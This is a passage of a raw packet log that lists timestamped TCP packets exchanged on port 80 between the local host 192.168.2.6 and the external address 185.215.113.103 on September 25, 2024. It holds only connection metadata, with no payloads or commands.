Sep 25, 2024 10:33:48.791608095 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.791640997 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.791646957 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.792191029 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.792222977 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.792234898 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.792263031 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.792272091 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.792303085 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.792335033 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.792344093 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.792365074 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.792397976 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.792412043 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.792437077 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.793170929 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.793220997 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.793257952 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.793268919 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.793289900 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.793324947 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.793334007 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.793370008 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.880038023 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.880090952 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.880120039 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.880168915 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.880167961 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.880201101 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.880207062 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.880222082 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.880233049 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.880239964 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.880264044 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.880295038 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.880311012 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.880338907 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.880593061 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.880640984 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.880672932 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.880687952 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.880703926 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.880712986 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.880740881 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.918937922 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.918973923 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.919035912 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.919068098 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.919090986 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.919099092 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.919131994 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.919142962 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.919162989 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.919173956 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.919194937 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.919198990 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.919231892 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.919240952 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.919272900 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.919568062 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.919600010 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.919631958 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.919651985 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.919660091 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.919682980 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.919698000 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.919857979 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.919898033 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.919905901 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.919938087 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.919945002 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.919975996 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.919986010 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.920017004 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.920026064 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.920048952 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.920067072 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.920088053 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.920095921 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.920126915 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.920136929 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.920157909 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.920166969 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.920188904 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.920212030 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.920222044 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.920243025 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.920260906 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.920944929 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.920978069 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.921010017 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.921026945 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.921050072 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.921056986 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.921082973 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.921113968 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.921127081 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.921145916 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.921153069 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.921176910 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.921185970 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.921207905 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.921216965 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.921238899 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.921252966 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.921271086 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.921277046 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.921309948 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.921647072 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.921689987 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.921696901 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.921732903 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.921745062 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.921770096 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.921823025 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.921860933 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.921861887 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.921901941 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.921912909 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.921952963 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.921952963 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.921992064 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.921999931 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.922030926 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.922063112 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.922075033 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.922096968 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.922101974 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.922681093 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.922714949 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.922728062 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.922748089 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.922755003 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.922827005 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.922858000 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.922869921 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.922889948 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.922894001 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.922923088 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.922965050 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.924971104 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.925004005 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.925035000 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.925052881 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.925071001 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.970886946 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.970944881 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.970968962 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.970979929 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.971009016 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.971033096 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.971036911 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.971065998 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.971084118 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.971098900 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.971107006 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.971131086 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.971139908 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.971170902 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.971180916 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.971213102 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.971226931 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.971246004 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.971255064 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.971277952 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.971291065 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.971311092 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.971327066 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.971352100 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.971405983 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.971421003 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.971453905 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.971484900 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.971486092 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.971506119 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.971527100 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.971534967 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.971566916 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.971576929 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.971599102 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.971630096 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.971647024 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.971662998 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.971683025 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.971693993 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.971708059 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.971726894 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.971777916 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.009686947 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.009723902 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.009741068 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.009757996 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.009768963 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.009778976 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.009783030 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.009790897 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.009799004 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.009802103 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.009813070 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.009823084 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.009833097 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.009841919 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.009852886 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.009865046 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.009869099 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.009902954 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.009902954 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.009929895 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.048316956 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.048501968 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.048543930 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.048554897 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.048572063 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.048588991 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.048607111 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.048624992 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.048633099 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.048655033 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.048664093 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.048687935 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.048705101 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.048727036 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.048758030 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.048789978 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.048799992 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.048823118 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.048844099 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.048871040 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.048870087 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.048904896 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.048912048 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.048943996 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.048952103 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.048984051 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.049015999 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.049030066 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.049047947 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.049074888 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.049082994 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.049103975 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.049113035 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.049124002 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.049171925 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.049200058 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.049216986 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.049237967 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.049247026 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.049278021 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.049287081 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.049309015 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.049319983 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.049340963 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.049352884 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.049372911 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.049381018 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.049407005 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.049412966 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.049438000 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.049448967 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.049484015 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.049488068 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.049529076 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.049535990 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.049570084 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.049602032 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.049617052 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.049640894 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.049650908 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.049685001 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.049694061 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.049732924 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.049736023 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.049768925 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.049777031 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.049801111 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.049812078 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.049832106 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.049844980 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.049864054 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.049895048 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.049909115 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.049926996 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.049931049 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.049974918 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.049983978 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.050008059 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.050017118 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.050040007 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.050050974 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.050071955 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.050077915 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.050107002 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.050131083 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.050138950 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.050158024 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.050190926 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.050193071 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.050223112 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.050267935 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.050272942 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.050306082 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.050337076 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.050349951 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.050369024 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.050383091 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.050403118 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.050414085 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.050436020 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.050442934 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.050467968 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.050501108 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.050513029 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.050530910 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.050545931 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.050570965 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.050581932 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.050611973 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.050618887 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.050652027 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.050673962 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.050683022 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.050694942 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.050731897 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.050764084 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.050774097 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.050796032 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.050803900 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.050823927 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.050836086 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.050856113 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.050889015 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:49.050914049 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:49.050919056 CEST	80	64695	185.215.113.103	192.168.2.6
